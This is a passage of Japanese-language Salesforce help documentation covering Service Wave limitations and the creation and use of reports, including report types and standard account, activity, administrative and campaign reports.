Service Waveでは、設定ウィザードで選択した回答に応じて、次のオプションからの項目も使用する場合があり
ます。
• CaseArticle

• CaseHistory

• CSAT (カスタムオブジェクト)

• グループ
• 1 つのナレッジ記事タイプ (カスタムオブジェクト)

• RecordType

• 商談
Service Waveは、標準 Salesforce オブジェクトの標準およびカスタム項目をサポートしています。提供される項目
は、組み込みの設定ウィザードを使用してアプリケーションを作成したときの回答によって決まります。

メモ: Service Waveでサポートされるカスタムオブジェクトには制限があり、Service Wave を実装する組織ご
とに 10 個までとなっています。これは契約上の制限であり、技術的な制限ではありません。
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アプリケーションの初回作成時に含まれていなかったカスタムオブジェクトまたは項目を追加するには、Service

Wave データフローを更新する必要があります。詳細は、「データフローを使用したデータセットの作成」を
参照してください。

Service Wave のその他の制限
Service Waveは、外部データソース、またはアプリケーションで生成されたデータフローからの新規データセッ
トの登録をサポートしていません。
ダッシュボード/データフローへの CSAT スコアの追加は任意です。アプリケーション設定ウィザードでは、カ
スタムケース項目または関連付けられたカスタムオブジェクトからの CSAT をケースオブジェクトに関連付け
ることができます。
セキュリティ述語や他のデータセット検索条件は、手動でアプリケーションデータフローに追加する必要があ
ります。
アプリケーションの作成時に、複数階層 (テナント/マネージャ) はサポートされません。この機能は手動で追
加する必要があります。
現在、Knowledge Usage ダッシュボードには 1 つの記事タイプのレポートが表示されます。この記事タイプは、
設定ウィザードの使用時に選択します。

アクションメニューでのオブジェクトとアクションのサポート
現在のアクションメニュー実装では、Salesforce オブジェクトおよびアクションのサポートが制限されていま
す。
現在、カスタムオブジェクト、sObject、および次の Salesforce 標準オブジェクトについて Wave クイックアクショ
ンメニューを作成できます。
• 取引先
• ケース
• リード
• 商談
取引先責任者、ユーザ、またはユーザプロファイルのページレイアウトのアクションはサポートされていませ
ん。
現在のアクションメニューの実装では、Chatter アクション ([投稿]、[ファイル]、[感謝]、[リンク]、[アンケー
ト]、[質問])、オブジェクト固有のアクション、およびグローバルアクションがサポートされます。Salesforce1

アクションはサポートされません。
その他のオブジェクトとアクションは、今後のリリースでサポートされます。

関連トピック:

Shield Platform Encryption のトレードオフおよび制限事項
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レポートとダッシュボード

Salesforceには、連動機能を備えた強力なレポートツールが揃っており、データの理解と操作に役立てることが
できます。

レポート
レポートを使用すると、Salesforce データにアクセスできます。Salesforce データをほぼ制限なく自由に組み
合わせて考察し、理解しやすい形式で表示し、その結果として得られる洞察を他のユーザと共有できます。
レポートの作成、参照、共有を行う前に、次のレポートの基本を確認してください。
ダッシュボード
ダッシュボードを使用すると、変化するビジネスの状況を視覚的に把握し、レポートで収集したリアルタ
イムのデータに基づいて意思決定を行うことができます。ダッシュボードを使用して、ユーザがトレンド
を把握し、数量を解明し、活動の影響を測定できるようにします。ダッシュボードの作成、参照、共有を
行う前に、次のダッシュボードの基本を確認してください。

レポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポートを使用すると、Salesforceデータにアクセスできます。Salesforceデータを
ほぼ制限なく自由に組み合わせて考察し、理解しやすい形式で表示し、その結
果として得られる洞察を他のユーザと共有できます。レポートの作成、参照、
共有を行う前に、次のレポートの基本を確認してください。
Salesforce データに関するレポートの準備をするときには、次のヒントに留意し
てください。
• 優れた設計のレポートは実行時間が短くなります。
• レポートを作成する前に、レポートで回答する必要のある各質問を書き留め

ることを検討します。これにより、必要なすべてのデータをレポートで確実
に返すことができます。

• レポートはフォルダで共有されます。レポートの保存先フォルダへの権限が
あれば、誰でもレポートにアクセスできます。適切なフォルダにレポートを
保存してください。

最初のレポートを作成する前に、次の機能と概念についてよく理解してください。
レポートビルダー

レポートビルダーは視覚的なドラッグアンドドロップツールで、レポートの作成や既存のレポートの編集
を行います。また、レポートタイプ、レポート形式、およびレポートを構成する項目の選択も行います。
レポートビルダーを起動するには、[新規レポート] をクリックします。

項目
1 つ以上の項目で各レポート結果が示されます。レポートを情報のテーブルだとすると、各行が結果で各列
が項目になります。
たとえば、人事マネージャが従業員に関するレポートを作成します。各結果は従業員で、各項目は従業員
に関する各種情報 (名、姓、役職、開始日など) です。
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レポートを作成または編集するときに、レポートに含める項目を選択します。レポートの実行時間を短縮
するために、必要な項目のみを含めることをお勧めします。

条件
条件を使用して、レポートで返されるデータを制限します。条件は、レポートで特定のデータに焦点を絞っ
たり、レポートの実行時間を短縮したりするなど、多くの理由で役立ちます。
たとえば、レポートでは社内のすべてのケースが返されるが、自分に割り当てられている進行中のケース
のみが必要だとします。[所有者] 項目と [状況] 項目でレポートを絞り込みます。
レポートビルダーで条件を追加します。Lightning Experience でも、レポートの参照中に条件を追加、編集、
または削除できます。

レポートタイプ
レポートタイプによって、レポートで使用可能な項目が決まります。たとえば、[ファイルおよびコンテン
ツレポート] には、[ファイル ID]、[ファイル名]、および [合計ダウンロード数] などの項目があります。
取引先レポートには、[取引先 ID]、[取引先名]、および [電話] などの項目があります。
レポートを作成する場合、まずレポートタイプを選択します。

レポート形式
レポート形式で、レポート結果のレイアウトを指定します。使用可能な形式は、表形式、サマリー形式、
マトリックス形式、結合形式です。結合レポートは、Lightning Experience では使用できません。

1. レポートの作成
Salesforce データに関する質問がある場合、レポートを作成して回答を得ることができます。

2. レポートデータの絞り込み
レポートにデータが必要以上に表示されている場合、レポートを絞り込んで、目的のデータのみが表示さ
れるようにします。

7. レポートのスケジュールと登録
レポートのスケジュールと登録を行い、手動でレポートを実行せずに、最も関心のある総計値について常
に情報を把握するための通知を受信します。Salesforce Classicで、レポート通知をトリガする条件を指定でき
ます。

8. レポートの実行および参照
レポートの名前をクリックして実行します。レポートを実行したら、情報を参照するのに役立つ一連のツー
ルを使用できます。

9. レポートのエクスポート
スプレッドシートなどの専用ツールでレポートデータを操作する場合は、レポートデータを Microsoft Excel ®

(.xls) またはカンマ区切り値 (.csv) ファイルとしてエクスポートします。
10. レポートの共有

レポートを同僚と共有し、全員で同じ情報を使用できるようにします。
11. レポートの整理

レポートを簡単に使用できる状態に保つには、レポートをフォルダに分類し、使用しないレポートを削除
します。レポートが多数ある場合、検索項目を使用して必要なレポートを検索できます。

12. レポート制限
データのレポートを作成する場合、次の制限と制約に注意してください。
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13. レポートのトラブルシューティング
レポートの操作中に発生した問題を解決するには、次のヒントを使用してください。

14. レポートへの正しいデータの入力
適切に設計されたレポートは、生データをユーザが操作できる情報に変換するのに役立ちます。値を集計
して意味のあるカテゴリにグループ化し、関連のないデータを除外して、複数のオブジェクトに関するデー
タを一度に収集します。

15. レポートデータの効果的な伝達
レポートでは、情報がテーブル形式で生成されます。ユーザが必要な情報をすばやくスキャンできるよう
に、このテーブルを設定できます。また、ユーザが視覚的にデータを理解できるようにグラフを追加した
り、レポートのデータをダッシュボードに表示したりできます。

16. レポート実行ページ
レポート実行ページでは、レポート実行時にレポートに対して実行する内容を制御できます。

17. レポート実行ページオプション
レポート実行ページをカスタマイズすることにより、お客様のニーズに合わせて特定の情報をサポートす
ることができます。

18. レポートの使用開始
レポート環境を設定し、レポートビルダーを使用して基本レポートを作成し、必要なときに容易に情報を
検索できるようにレポートを整理します。ほとんどの場合、手始めに標準レポートを作成し、ニーズに応
じてカスタマイズします。

19. レポートによるデータへのアクセス
ある期間にわたって組織に蓄積されたデータを活用するには、レポートを使用します。組織のデータをほ
とんど無限の組み合わせで調査して理解しやすい形式で表示し、その結果として得られる洞察をダッシュ
ボードを介して他のユーザと共有できます。

レポートの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce データに関する質問がある場合、レポートを作成して回答を得ること
ができます。

1. 新規レポートの作成
レポートビルダーは、データにすばやく包括的にアクセスするためのドラッ
グアンドドロップツールです。レポートビルダーを使用して、新規レポート
および既存のレポートを設定します。

2. 変更履歴のレポート
ビジネスの現在の状態に関する最新の標準レポートに加えて、商談、ケー
ス、売上予測、カスタムオブジェクトの日単位および週単位の変化を分析で
きます。
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3. レポート作成スナップショットを使用した履歴データのレポート
レポート作成スナップショットにより、履歴データに関するレポートを作成できます。承認されたユーザ
は、表形式のレポートやサマリーレポートの結果をカスタムオブジェクトの項目に保存することができ、
それらの項目を対象オブジェクト上の対応する項目に割り当てることができます。その上で、レポートを
いつ実行してそのカスタムオブジェクトの項目にレポートのデータを読み込むかをスケジューリングでき
ます。レポート作成スナップショットでは、Salesforce での他のレコード操作と同様にレポートデータを操
作できます。

4. バケットを使用したデータの迅速な分類
バケットを使用することで、数式またはカスタム項目を作成せずに、レポートレコードをすばやく分類で
きます。バケット項目の作成時に、レポートの値をグループ化するために使用する複数のカテゴリ (バケッ
ト) を定義します。

5. 異なるタイプの情報を結合レポートに集約
結合レポート形式では、さまざまな種類の情報を 1 つのレポートに表示できます。結合レポートには、複
数の標準またはカスタムのレポートタイプのデータを含めることができます。

6. レポートデータのグラフィカル表示
ユーザがデータをすばやく簡単に理解できるように、データをグラフフォームで表示します。グラフはレ
ポートテーブルのすぐ上に表示されます。これにより、詳細を徹底的に調べる前に、データの雰囲気をつ
かむことができます。折れ線グラフを使用して経時変化を追跡したり、棒グラフや円グラフを使用して一
定時点の値を比較したりします。グラフは、ダッシュボードコンポーネントにも表示できます。

7. テーブルへのレポートデータの表示
ユーザがデータを簡単にスキャンできるように、詳細や範囲は非表示にし、表示する結果の数を制限し、
色を付けて強調表示します。テーブルをダッシュボードコンポーネントに表示することもできます。

8. Excel を使用した Salesforce データのレポート
Connect for Office には、Excel アドインが含まれています。これを使用すると、Microsoft® Excel® から Salesforce レ
ポートに安全にアクセスできます。必要なレポートを Salesforce で作成して Excel のワークシートに取り込
み、Excel の数式、図、ピボットテーブルを使用してデータをカスタマイズ、分析します。Salesforceで TLS 1.0

が無効化されると、Connect for Office のサポートは終了します。
9. レポートウィザードのアップグレード

強力なドラッグアンドドロップエディタであるレポートビルダーは、レポートを作成、編集するための標
準のツールです。組織でまだ従来のレポートウィザードを使用している場合は、レポートビルダーにアッ
プグレードしてください。
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新規レポートの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

レポートビルダーは、データにすばやく包括的にアクセスするためのドラッグ
アンドドロップツールです。レポートビルダーを使用して、新規レポートおよ
び既存のレポートを設定します。
レポートビルダーを使用して既存のレポートをカスタマイズするには、レポー
ト名をクリックして[カスタマイズ]をクリックします。レポートビルダーでは、
画面スペースを最大限に利用するため、圧縮ページヘッダーを使用します。ア
プリケーションタブを表示するには、単にビルダーを閉じるか、Salesforce ロゴ
をクリックします。

1. レポートタイプの選択
選択したレポートタイプによって、レポートに表示されるレコードと項目が
決まります。たとえば、[商談] レポートタイプでは、[金額]、[フェーズ]、[種
別] などの商談のレコードおよび項目にアクセスできます。

2. レポート形式の選択
レポートには、表形式、サマリー、マトリックス、または結合形式を使用で
きます。表示するデータを取得できる複雑さと、効果的に伝達できる簡潔さ
を備えた形式を選択します。

3. レポートの作成
顧客、商談、サポートケースその他の状況など、ビジネスのある側面の最新
動向を把握するレポートを作成します。

4. カスタムレポートの作成
標準レポートをカスタマイズしたり、自分の組織の要求をすべて満たすカスタムレポートを最初から作成
したりできます。

5. アクセシビリティモードでのカスタムレポートの作成
6. レポートデータのグループ化

サマリーレポート、マトリックスレポート、結合レポートで列または行のデータをグループ化して、有意
義な情報を表示します。たとえば、完了予定日別に商談をグループ化して完了した商談を確認したり、商
品別にケースをグループ化して、各商品のケース数を確認したりします。グルーピング内にグルーピング
を設定することもできます。

7. 操作を続行しながらレポートのプレビューを読み込む
ほとんどのアクションでは、レポートの操作を続けながらプレビューを読み込むことができます。たとえ
ば、レポートを編集しながら複数の項目をレポートにドラッグした後、グルーピングを作成しながら、そ
れらの列を読み込めます。

8. レポートのカスタマイズ
レポートビルダーは、レポートのビジュアルエディタです。レポートビルダー画面では、レポート項目お
よびレポート検索条件を使用し、一部のデータのみでレポートをプレビューできます。

9. レポート項目
[項目] ペインには、選択したレポートタイプの項目がフォルダごとに分類されて表示されます。また、ユー
ザが作成、編集、削除できるカスタム集計項目のリストも表示されます。
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10. レポートデータの集計
集計項目には、合計、平均、最大値または最小値を示す数値が含まれます。集計項目は、すべてのグルー
ピングレベルで表示されます。サマリーレポートおよびマトリックスレポートでは、総計レベルでも表示
されます。

11. レポートの結果の小計
レポートを小計すると、データの動向を分析するツールが表示されます。情報セットをグループ化して、
そのグルーピングを並び替えて、各セットの小計を総計と比較できます。サマリーレポートと結合レポー
トでは、複数の項目で小計し、情報セットをカスケード表示することもできます。

12. レポートのスマート合計
「スマート」合計とは、重複データが小計または合計で一度のみカウントされることを意味します。Salesforce

では、集計または平均化の対象として選択した列に重複データが含まれているレポートを実行するときに、
「スマート」合計を使用します。

13. レポートの数式の使用
数式では、レポートデータを使用して計算した値に基づいてカスタム集計を作成できます。その後、これ
らの数式をレポートで列として使用できます。

14. レポートの保存
既存のレポートを最新の変更で更新する場合は [保存] をクリックします。また、元のレポートを変更せず
にコピーする場合は [別名で保存]をクリックします。Lightning Experienceで、[コピー]をクリックし、レポー
トをコピーします。

関連トピック:

操作を続行しながらレポートのプレビューを読み込む
レポートの作成
レポートの作成
レポート項目
レポートタイプの選択
レポートのカスタマイズ
レポート形式の選択
カスタムレポートの作成
異なるタイプの情報を結合レポートに集約
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レポートタイプの選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

選択したレポートタイプによって、レポートに表示されるレコードと項目が決
まります。たとえば、[商談] レポートタイプでは、[金額]、[フェーズ]、[種別] な
どの商談のレコードおよび項目にアクセスできます。
標準レポートタイプとカスタムレポートタイプという 2 種類のレポートタイプ
があります。
標準レポートタイプは、ほとんどの Salesforce データにアクセスできます。たと
えば、[商談] レポートタイプでは、レポートで商談のレコードおよび項目にアク
セスできます。商談金額、確度、または種別についてのレポートを作成する場
合は、[商談] レポートタイプが適しています。
カスタムレポートタイプでは、システム管理者が設定する Salesforce のカスタム
オブジェクト (商談などの標準オブジェクトのカスタムビュー) にアクセスでき
ます。たとえば、システム管理者は、商談へのアクセスを提供するカスタムレ
ポートタイプと、商品の関連項目を作成できます。そのカスタムレポートタイ
プを使用すると、特定商品の商談について簡単にレポートを作成できます。
1. [レポート] タブから、[新規レポート] をクリックします。
2. レポートタイプを選択し、[作成] をクリックします。

メモ: レポートの作成後にレポートタイプを変更することはできませ
ん。

レポートビルダーが開き、選択したポートタイプに基づいてレコードおよび項
目へのアクセス権が付与されます。

標準レポートタイプ
Salesforce には、固有の要件に合わせてカスタマイズ可能な、標準レポートタイプが豊富に用意されていま
す。新規レポートを作成する必要はほとんどありません。
事前に設計されたカスタムレポートタイプ
一部の Salesforce には、事前に設計されたカスタムレポートタイプが用意されているため、新しいレポート
を作成する必要はありません。

関連トピック:

カスタムレポートタイプの設定
私のレポートに期待するデータが返されない理由は?
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標準レポートタイプ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション
(Edition によって表示され
るレポートが決まります)

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

Salesforce には、固有の要件に合わせてカスタマイズ可能な、標準レポートタイ
プが豊富に用意されています。新規レポートを作成する必要はほとんどありま
せん。

ヒント: 管理者が [レポート] タブフォルダの表示をカスタマイズしている
場合には、表示できないフォルダがあります。

レポートを検索して独自にニーズに合わせてカスタマイズできない場合、新し
いカスタムレポートを作成して、適切な情報に確実にアクセスすることもでき
ます。

1. 取引先/取引先責任者レポート
取引先/取引先責任者レポートは、活動中、未活動、または新しい取引先、お
よび取引先所有者やパートナー別の取引先を確認する場合に使用します。2

つの標準取引先責任者レポートにより、取引先責任者のメーリングリストを
作成したり、取引先責任者の役割別に商談を追跡したりすることができま
す。

2. 活動レポート
活動レポートは、活動予定、完了した活動、複数個人の行動、または自分が
代理承認者である未承認の承認申請に関する情報を収集するのに便利です。

3. 管理レポート
管理レポートは、Salesforce ユーザ、ドキュメント、および未承認の申請を分
析するのに役立ちます。有効なSalesforceユーザについてレポートし、ログイ
ンしている人を確認することができます。

4. キャンペーンレポート
キャンペーンレポートは、マーケティング活動を分析する場合に使用しま
す。自分のキャンペーンの ROI についてレポートしたり、キャンペーンの対
象となったユーザや反応があったユーザを追跡したり、キャンペーンから生じた商談を分析したりするこ
とができます。

5. ファイルおよびコンテンツのレポート
ファイルおよびコンテンツのレポートを実行して、ユーザがどのようにファイルや Salesforce CRM Content と
関わっているのかを分析します。

6. 売上予測レポート
売上予測レポートには、カスタマイザブル売上予測データに関する情報が表示されます。

7. リードレポート
リードレポートを使用して、リードのソースおよび状況、リードへの応答に要した時間、未活動のリード、
およびリード項目の履歴に関する情報を表示します。

8. 商談レポート
商談レポートには、所有者、取引先、フェーズ、金額など、商談に関する情報が表示されます。デフォル
トの設定では、最も使用頻度の高い各オブジェクトの情報が表示されますが、主キャンペーンソース、売
上予測分類、同期見積など、他の情報が表示されるようにレポートをカスタマイズできます。
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9. 商品/納入商品レポート
商品/納入商品レポートは、ユーザに現在納入している商品に関する情報を表示する場合に使用します。顧
客が所有している納入商品を確認したり、特定の納入商品のケースをリストしたり、商品と関連付けられ
ていない納入商品を特定したります。

10. セルフサービスレポート
セルフサービスレポートは、セルフサービスポータルの有効性を分析する上で役立ちます。表示されてい
るケース数、ログインしている顧客数、または提案しているソリューションを顧客がどのように考えてい
るのかを確認します。

11. サポート活動のレポート
サポートレポートは、作成されたケースの数、ケースコメント、ケースメール、ケース所有者、ケース取
引先責任者の役割、ソリューションが関連するケース、ケース状況または所有者が最後に変更されてから
の時間、およびケースの履歴を追跡します。

関連トピック:

レポートの検索
レポート実行ページ
カスタムレポートの作成
レポートによるデータへのアクセス

取引先/取引先責任者レポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション
(Edition によって表示され
るレポートが決まります)

取引先/取引先責任者レポートは、活動中、未活動、または新しい取引先、およ
び取引先所有者やパートナー別の取引先を確認する場合に使用します。2 つの標
準取引先責任者レポートにより、取引先責任者のメーリングリストを作成した
り、取引先責任者の役割別に商談を追跡したりすることができます。
標準レポート: 項目履歴

組織で取引先または取引先責任者の項目の履歴を管理している場合は、取引
先または取引先責任者の履歴を使用してレポートを作成することができま
す。

標準レポート: 個人取引先
組織で個人取引先を使用している場合は、個人取引先に固有の項目を使用で
きます。その場合、取引先レポートでは、項目の先頭が [個人取引先:]にな
ります。また、取引先および取引先責任者レポートの両方に [個人取引先]項目を含めることもできます。
システム管理者は、[個人取引先] に異なる表示ラベルを付けることもあります。

一括差し込み印刷
また、取引先責任者情報のレポートを作成し、そのデータを Microsoft® Excel® にエクスポートした上で、
Microsoft® Word® を使用して、一括差し込み印刷を行うこともできます。

最終活動日
最終活動日は、レコードに対して記録された最新の行動の期日、またはレコードに関連付けられた ToDo の
うち最後に完了したものの期日のいずれかになります。最終活動日は、活動関連リストとレポート、およ
びレコード詳細ページ (取引先、取引先責任者、リードなど) に表示される場合があります。
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取引先レポートの [参照] 検索条件
取引先レポートの標準 [参照] 検索条件により、次のオプションに従って取引先データを絞り込むことが
できます。これらのオプションは、組織のエディションや設定によって異なります。
• 私の取引先: 自分が所有する取引先が表示されます。
• 私の取引先チームの取引先: 自分が所属する取引先チームの取引先が表示されます。
• 私の取引先チームと私の取引先: 自分が所有する取引先と、自分が所属する取引先チームの取引先が表

示されます。
• 私のチームの取引先: ロール階層内で自分の下位ロールのユーザ全員が所有する取引先が表示されます。
• 私のテリトリー: テリトリー管理を使用している組織では、このオプションを選択すると、自分が割り

当てられているテリトリーに属する取引先が表示されます。
• 私のテリトリーチームの取引先: テリトリー管理を使用している組織では、このオプションを選択する

と、自分のテリトリーとその下位テリトリーに属する取引先が表示されます。
• 私のチームの取引先チームと各自が所有する取引先: ロール階層内で自分の下位ロールのユーザが所有

する取引先、または自分が所属するチームの取引先が表示されます。
• すべての表示可能な取引先: 自身の共有モデルの判断に従って、表示可能なすべての取引先が表示され

ます。
• テリトリー: テリトリー管理を使用している組織では、追加で [テリトリー] 検索条件を、[すべて]、[複

数のテリトリー]、または [テリトリーなし] に設定できます。テリトリーを含む [テリトリー] 検索条件
を使用したカスタムレポートタイプのレポート結果には、[複数のテリトリー] または [テリトリーなし]

は表示されません。
• カスタマーポータル: 組織で、Salesforce カスタマーポータルを使用している場合は、取引先レポートに

[カスタマーポータル取引先]項目を追加して、どの取引先にポータルを使用できる取引先責任者がいる
かを表示できるようにしてください。

関連トピック:

レポート実行ページ
レポートの結果の制限

活動レポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション
(Edition によって表示され
るレポートが決まります)

活動レポートは、活動予定、完了した活動、複数個人の行動、または自分が代
理承認者である未承認の承認申請に関する情報を収集するのに便利です。
標準活動レポートでは、対象とする活動の日付の範囲と状況を選択できます。
標準活動レポートには、選択した日付範囲または行動に該当する被招集者全員
の行動一覧が表示されます。
また、[レポート] タブ、[新規レポート]をクリックし、レポートするデータの種
別として [活動] を選択すると、活動のカスタムレポートを作成することもでき
ます。

メモ: 組織のロール階層をレポート結果の上に表示するには、[階層を表示]

をクリックします。ロール階層を使用して、階層内のさまざまなレベルの
ユーザとレポートデータを共有できます。たとえば、[CEO] > [グローバル営
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業の統括責任者] > [営業担当責任者]のように表示されている場合は、[営業担当責任者] ロールのデータが
表示されていることになります。表示する任意のロール名をクリックし、そのロールのユーザに表示さ
れるデータを共有します。

活動レポートの特殊機能
活動レポートを実行するときは、次の点に留意してください。
標準レポート

• HTML メール追跡を有効にしている場合は、HTML メール状況レポートを選択します。自分のリードおよ
び取引先責任者の [HTML メール状況] 関連リストに記載されている情報が表示されます。

• レポートに記録されている複数個人の行動だけを対象とするには、[被招集者が関連する行動] レポート
を選択します。被招集者が関連する行動の標準条件は次のとおりです。
– 任命先... — 自分が所有する複数個人の行動だけが表示されます。
– 任命先が...のチーム — 自分のチームのメンバーが所有する複数個人の行動が表示されます。
– 被招集者が... — 自分を被招集者として表示する複数個人の行動だけが表示されます。
– 被招集が...のチーム — チームのメンバーが被招集者として表示されている複数個人の行動が表示さ

れます。
• [私の代理承認申請一覧] レポートには、自分が代理承認申請者であるすべての承認申請が表示されま

す。[未承認申請一覧] レポートは、活動レポートフォルダに表示されます。
• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織で、

部下にあたるユーザの活動を表示するには、[ToDo と予定] レポートに記載されている [階層]リンクを使
用します。表示できるのは、自分が所有する活動と、ロール階層内で自分よりも下位のユーザが所有す
る活動だけです。

• 組織で Shared Activities を使用している場合は、レポート (カスタムレポートタイプおよび ToDo と行動レ
ポートを含む) 結果の表示が権限によって異なります。たとえば、行動に関するレポートを作成する場
合で、レポート結果に、2 人以上の取引先責任者に関連し、招待者も存在する行動が含まれているとし
ます。システム管理者の場合は、主取引先責任者の行動と招待者ごとの別個の行動がレポート結果に示
されます。システム管理者でない場合は、主取引先責任者の 1 つの行動のみが表示されます。

レポートタイプ
• レポートビルダーを使用して、他のレコードタイプに関連する活動を表示する活動レポートを作成でき

ます。たとえば、リードが関連する活動レポートには、リードと関連付けられている活動が表示されま
す。

• リードが関連する活動レポートでは、[町名・番地 1]、[町名・番地 2]、および [町名・番地 3] 項目
のデータが表示されません。

活動レポートのヒント
• ある複数個人の行動について、ユーザに送られるミーティングへの招集を抽出するには、「被招集行動

フラグが 0 に等しい」という検索条件を設定します。
• アーカイブ済みの活動はレポートに表示されません。1 年以上経過した行動や完了した ToDo はアーカイ

ブされます。ただし進行中の ToDo はアーカイブされません。レコードの詳細ページの [活動履歴]セク
ションにある [すべて表示] を選択して、レコードのアーカイブされた活動を表示できます。

• 非公開取引先責任者の活動は、取引先責任者の所有者のレポートにのみ表示されます。
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• 活動レポートの標準検索条件により、次のオプションを使用してレポート結果を絞り込むことができま
す。これらのオプションの一部は、エディションによって表示されない場合があります。
– 私の活動 — 自分が所有する活動が表示されます。
– 私の任命した活動 — 自分が作成し、他のユーザ (ロール階層で自分と同じロールまたは自分より下

位のロール) が所有する活動が表示されます。
– 私のチームの活動 — ロール階層内で自分の上司にあたるユーザが所有する活動が表示されます。
– すべての活動 — 自身の共有モデルの判断に従って、表示可能なすべての活動が表示されます。

• 活動レポートの結果が多すぎるというエラーメッセージが表示された場合は、レポートをカスタマイズ
して、選択リスト、テキスト、または日付項目に条件を適用します。あるいは、[取引先が関連する活
動] または [商談が関連する活動] など、異なる活動データの種別を使用してレポートをもう一度実行し
ます。

関連トピック:

レポート実行ページ
レポートの結果の制限

管理レポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「設定・定義を参照する」[管理レポート] フォルダを参照する

「レポート実行」

および

「設定・定義を参照する」

ユーザレポートを実行する

「レポートの作成とカスタマイズ」

および

「設定・定義を参照する」

ユーザレポートを作成、編集、保存、お
よび削除する

「レポート実行」ドキュメント一覧レポートを実行する

「レポートの作成とカスタマイズ」ドキュメント一覧レポートを作成、編
集、保存、および削除する

「レポート実行」

および

未承認の申請レポートを実行する

「すべてのデータの参照」

管理レポートは、Salesforce ユーザ、ドキュメント、および未承認の申請を分析するのに役立ちます。有効な
Salesforce ユーザについてレポートし、ログインしている人を確認することができます。
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メモ:  [レポート] タブに [管理レポート] フォルダが表示されるのは、「設定・定義を参照する」権限を持
つユーザが参照した場合のみです。[管理レポート] レポートタイプを参照するには、この権限は必要あり
ません。すべてのユーザがレポートタイプを参照でき、そのタイプに関連付けられたドキュメントレポー
トを管理できます。このタイプに関連付けられた、ユーザレポートおよび承認申請レポートなどの他の
タイプのレポートを参照するには、権限が必要です。

管理レポートの特殊機能
管理レポートを実行するときは、次の点に留意してください。
標準レポート

• 有効ユーザ一覧レポートには、組織内で有効なユーザと、そのユーザの最終ログイン時刻が表示されま
す。

• 今週ログインしたユーザ一覧レポートには、過去 7 日に Salesforceにログインしたユーザ全員が表示され
ます。コミュニティが有効になっている場合、どのコミュニティユーザがログインしているのかも確認
できるように [コミュニティ] 列を追加できます。

• ドキュメントレポートには、各ドキュメントフォルダ内のドキュメントが表示されます。
• [未承認申請一覧] レポートには、各承認プロセスで未承認の申請が表示されます。[代理承認申請一覧]

レポートは、[活動レポート] フォルダに表示されます。
• 組織でテリトリーを使用している場合は、[テリトリーレポート] フォルダの [ユーザのテリトリーレポー

ト] に各ユーザに割り当てられたテリトリーが表示されます。
レポートタイプ

• 組織のレポートと、各レポートを最後に使用した時間を表示するカスタムレポートを作成します。[管
理レポート] を選択し、レポートタイプとして [レポート] を選択します。

• 組織でコミュニティを使用している場合、コミュニティの外部メンバーのログイン履歴についてレポー
トできます。
1. カスタムレポートを作成します。
2. [管理レポート] を選択します。
3. レポートタイプとして [ユーザ] を選択します。
4. [コミュニティ] をレポート列に追加します。
5. コミュニティユーザのプロファイルが含まれる検索条件を追加します。

• 組織が Salesforce カスタマーポータルを使用している場合は、次の手順に従って、カスタマーポータル
ユーザに関するレポートを作成できます。
1. カスタムレポートを作成します。
2. [管理レポート] を選択します。
3. レポートタイプとして [ユーザ] を選択します。
4. [ライセンスの種類]、[プロファイル]、[ロール] をレポート列に追加しますロールを持たない大規

模ポータルユーザのロールに関するレポートは、作成できません。

メモ: 権限セットはサポートされません。
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また、取引先レポートに [カスタマーポータル取引先]項目を追加すると、どの取引先にポータルを使用
できる取引先責任者がいるかを表示できるようになります。

• カスタムレポートタイプを作成し、そのレポートタイプに基づいて、組織のレポートとダッシュボード
についてレポートできます。カスタムレポートタイプを定義するには、[新規カスタムレポートタイプ]

ページの [主オブジェクト] ドロップダウンリストから [レポート] または [ダッシュボード] を選択しま
す。

管理レポートのヒント
• 「内部ユーザの管理」権限を持つユーザは、ユーザのログインの詳細を表示するカスタムユーザレポー

トを作成できます。[ログイン日/時間]、[IP アドレス]、および [ログイン状況] などの関連項目は、
[表示する列を選択] ステップの [ログイン履歴] セクションにグループ化されます。[クライアントの種類]

項目には、ユーザが Web ブラウザからログインしたのか、Connect for Lotus Notesやパートナーポータルな
どの代替インターフェースからログインしたのかが表示されます。また、レポート条件を設定すること
により、ログインしたことのないユーザを表示できます。そのためには、[ログイン日/時間]項目と「次
の文字列と一致する」演算子を選択し、検索条件値を空白にしておきます。

関連トピック:

レポート実行ページ
レポートの結果の制限

キャンペーンレポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キャンペーンレポートは、マーケティング活動を分析する場合に使用します。
自分のキャンペーンの ROI についてレポートしたり、キャンペーンの対象となっ
たユーザや反応があったユーザを追跡したり、キャンペーンから生じた商談を
分析したりすることができます。
キャンペーンレポートの特殊機能
キャンペーンレポートを実行するときは、次の点に留意してください。
標準レポート

• キャンペーン詳細カスタムレポートやキャンペーン ROI 分析レポートに、
